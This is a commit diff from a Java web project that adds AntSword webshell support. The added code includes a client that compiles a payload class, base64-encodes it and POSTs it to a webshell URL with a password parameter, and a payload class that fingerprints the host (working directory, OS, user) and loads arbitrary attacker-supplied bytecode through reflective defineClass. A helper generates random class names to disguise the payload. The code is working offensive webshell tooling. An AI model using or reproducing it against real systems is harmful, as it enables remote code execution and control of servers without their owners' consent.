feat: support AntSword shell generate (#34)

This commit is contained in:
ReaJason
2025-02-19 00:04:29 +08:00
parent f38b72fb5f
commit 2f256fc97e
98 changed files with 2860 additions and 152 deletions
+33
View File
@@ -0,0 +1,33 @@
plugins {
id "io.freefair.lombok" version "8.11"
}
group = 'com.reajason.javaweb.tools'
version = rootProject.version
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
dependencies {
implementation project(":common")
implementation 'net.bytebuddy:byte-buddy'
implementation 'javax.servlet:javax.servlet-api'
implementation 'commons-io:commons-io'
implementation 'org.apache.commons:commons-lang3'
implementation 'commons-codec:commons-codec'
implementation 'com.squareup.okhttp3:okhttp'
implementation 'com.alibaba.fastjson2:fastjson2'
testImplementation platform('org.junit:junit-bom')
testImplementation 'org.junit.jupiter:junit-jupiter'
}
test {
useJUnitPlatform()
}
@@ -0,0 +1,88 @@
package com.reajason.javaweb.antsword;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import lombok.Data;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.ClassFileVersion;
import net.bytebuddy.jar.asm.Opcodes;
import okhttp3.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2025/1/23
*/
@Data
public class AntSwordManager {
private final OkHttpClient client;
private String entrypoint;
private String pass;
private Map<String, String> headers = new HashMap<>();
public AntSwordManager() {
this.client = new OkHttpClient.Builder().build();
}
@SneakyThrows
public String getInfo() {
byte[] bytes = new ByteBuddy(ClassFileVersion.JAVA_V6).redefine(Info.class)
.name(Utils.getRandomClassName(Info.class.getName()))
.visit(new TargetJreVersionVisitorWrapper(Opcodes.V1_6))
.make().getBytes();
String base64String = Base64.getEncoder().encodeToString(bytes);
RequestBody requestBody = new FormBody.Builder()
.add(this.pass, base64String)
.add("j4677eff439969", "wO")
.build();
Request.Builder builder = new Request.Builder()
.url(this.entrypoint)
.post(requestBody)
.headers(Headers.of(this.headers));
try (Response response = client.newCall(builder.build()).execute()) {
return response.body().string();
} catch (Exception ignored) {
}
return "";
}
public static AntSwordManager.AntSwordManagerBuilder builder() {
return new AntSwordManager.AntSwordManagerBuilder();
}
public static class AntSwordManagerBuilder {
private final Map<String, String> headers = new HashMap<>();
private String entrypoint;
private String pass;
public AntSwordManager.AntSwordManagerBuilder entrypoint(String entrypoint) {
this.entrypoint = entrypoint;
return this;
}
public AntSwordManager.AntSwordManagerBuilder pass(String pass) {
this.pass = pass;
return this;
}
public AntSwordManager.AntSwordManagerBuilder header(String key, String value) {
this.headers.put(key, value);
return this;
}
public AntSwordManager build() {
AntSwordManager manager = new AntSwordManager();
manager.setPass(pass);
manager.setEntrypoint(entrypoint);
Map<String, String> headers = new HashMap<>(16);
headers.put("Content-Type", "application/x-www-form-urlencoded");
headers.putAll(this.headers);
manager.setHeaders(headers);
return manager;
}
}
}
@@ -0,0 +1,150 @@
package com.reajason.javaweb.antsword;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.File;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class Info {
public HttpServletRequest request = null;
public HttpServletResponse response = null;
public String encoder = "base64";
public String cs = "UTF8";
public String randomPrefix = "2";
public String decoderClassdata;
public Info() {
}
public boolean equals(Object var1) {
this.parseObj(var1);
StringBuffer var2 = new StringBuffer();
String var3 = "2f9d7d";
String var4 = "2d5c21ab2c35";
String var5 = "j4677eff439969";
try {
this.response.setContentType("text/html");
this.request.setCharacterEncoding(this.cs);
this.response.setCharacterEncoding(this.cs);
this.decoderClassdata = this.decode(this.request.getParameter(var5));
var2.append(this.SysInfoCode());
} catch (Exception var8) {
var2.append("ERROR:// " + var8.toString());
}
try {
this.response.getWriter().print(var3 + this.asoutput(var2.toString()) + var4);
} catch (Exception var7) {
}
return true;
}
String SysInfoCode() {
String var1 = System.getProperty("user.dir");
String var2 = System.getProperty("os.name");
String var3 = System.getProperty("user.name");
String var4 = this.WwwRootPathCode(var1);
return var1 + " ok " + "\t" + var4 + "\t" + var2 + "\t" + var3;
}
String WwwRootPathCode(String var1) {
StringBuilder var2 = new StringBuilder();
if (!var1.startsWith("/")) {
try {
File[] var3 = File.listRoots();
for(File var7 : var3) {
var2.append(var7.toString(), 0, 2);
}
} catch (Exception var8) {
var2.append("/");
}
} else {
var2.append("/");
}
return var2.toString();
}
public void parseObj(Object var1) {
if (var1.getClass().isArray()) {
Object[] var2 = (Object[]) var1;
this.request = (HttpServletRequest)var2[0];
this.response = (HttpServletResponse)var2[1];
} else {
try {
Class var9 = Class.forName("javax.servlet.jsp.PageContext");
this.request = (HttpServletRequest)var9.getDeclaredMethod("getRequest").invoke(var1);
this.response = (HttpServletResponse)var9.getDeclaredMethod("getResponse").invoke(var1);
} catch (Exception var8) {
if (var1 instanceof HttpServletRequest) {
this.request = (HttpServletRequest)var1;
try {
Field var3 = this.request.getClass().getDeclaredField("request");
var3.setAccessible(true);
HttpServletRequest var4 = (HttpServletRequest)var3.get(this.request);
Field var5 = var4.getClass().getDeclaredField("response");
var5.setAccessible(true);
this.response = (HttpServletResponse)var5.get(var4);
} catch (Exception var7) {
try {
this.response = (HttpServletResponse)this.request.getClass().getDeclaredMethod("getResponse").invoke(var1);
} catch (Exception var6) {
}
}
}
}
}
}
public String asoutput(String var1) {
try {
byte[] var2 = this.Base64DecodeToByte(this.decoderClassdata);
Method var3 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
var3.setAccessible(true);
Class var4 = (Class)var3.invoke(this.getClass().getClassLoader(), var2, 0, var2.length);
return var4.getConstructor(String.class).newInstance(var1).toString();
} catch (Exception var5) {
return var1;
}
}
String decode(String var1) throws Exception {
int var2 = 0;
try {
var2 = Integer.parseInt(this.randomPrefix);
var1 = var1.substring(var2);
} catch (Exception var4) {
var2 = 0;
}
return this.encoder.equals("base64") ? new String(this.Base64DecodeToByte(var1), this.cs) : var1;
}
public byte[] Base64DecodeToByte(String var1) {
Object var2 = null;
String var3 = System.getProperty("java.version");
try {
byte[] var7;
if (var3.compareTo("1.9") >= 0) {
Class var4 = Class.forName("java.util.Base64");
Object var5 = var4.getMethod("getDecoder").invoke((Object)null);
var7 = (byte[])var5.getClass().getMethod("decode", String.class).invoke(var5, var1);
} else {
Class var8 = Class.forName("sun.misc.BASE64Decoder");
var7 = (byte[])var8.getMethod("decodeBuffer", String.class).invoke(var8.newInstance(), var1);
}
return var7;
} catch (Exception var6) {
return new byte[0];
}
}
}
@@ -0,0 +1,41 @@
package com.reajason.javaweb.antsword;
import java.util.Random;
/**
* @author ReaJason
* @since 2024/12/21
*/
public class Utils {
public static String getRandomAlpha(int length) {
String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
Random random = new Random();
StringBuilder sb = new StringBuilder();
for (int i = 0; i < length; ++i) {
int number = random.nextInt(52);
sb.append(str.charAt(number));
}
return sb.toString();
}
public static String getRandomClassName(String sourceName) {
String[] domainAs = new String[]{"com", "net", "org", "sun"};
String domainB = getRandomAlpha((new Random()).nextInt(5) + 3).toLowerCase();
String domainC = getRandomAlpha((new Random()).nextInt(5) + 3).toLowerCase();
String domainD = getRandomAlpha((new Random()).nextInt(5) + 3).toLowerCase();
String className = getRandomAlpha((new Random()).nextInt(7) + 4);
className = className.substring(0, 1).toUpperCase() + className.substring(1).toLowerCase();
int domainAIndex = (new Random()).nextInt(4);
String domainA = domainAs[domainAIndex];
int randomSegments = (new Random()).nextInt(3) + 3;
if (randomSegments == 3) {
return domainA + "." + domainB + "." + className;
} else if (randomSegments == 4) {
return domainA + "." + domainB + "." + domainC + "." + className;
} else {
return domainA + "." + domainB + "." + domainC + "." + className;
}
}
}
@@ -0,0 +1,20 @@
package com.reajason.javaweb.antsword;
import org.junit.jupiter.api.Disabled;
import org.junit.jupiter.api.Test;
/**
* @author ReaJason
* @since 2025/2/18
*/
class AntSwordManagerTest {
@Test
@Disabled("only for local test")
void test() {
AntSwordManager antSwordManager = AntSwordManager.builder()
.pass("ant")
.entrypoint("http://localhost:8082/app/ant.jsp").build();
System.out.println(antSwordManager.getInfo());
}
}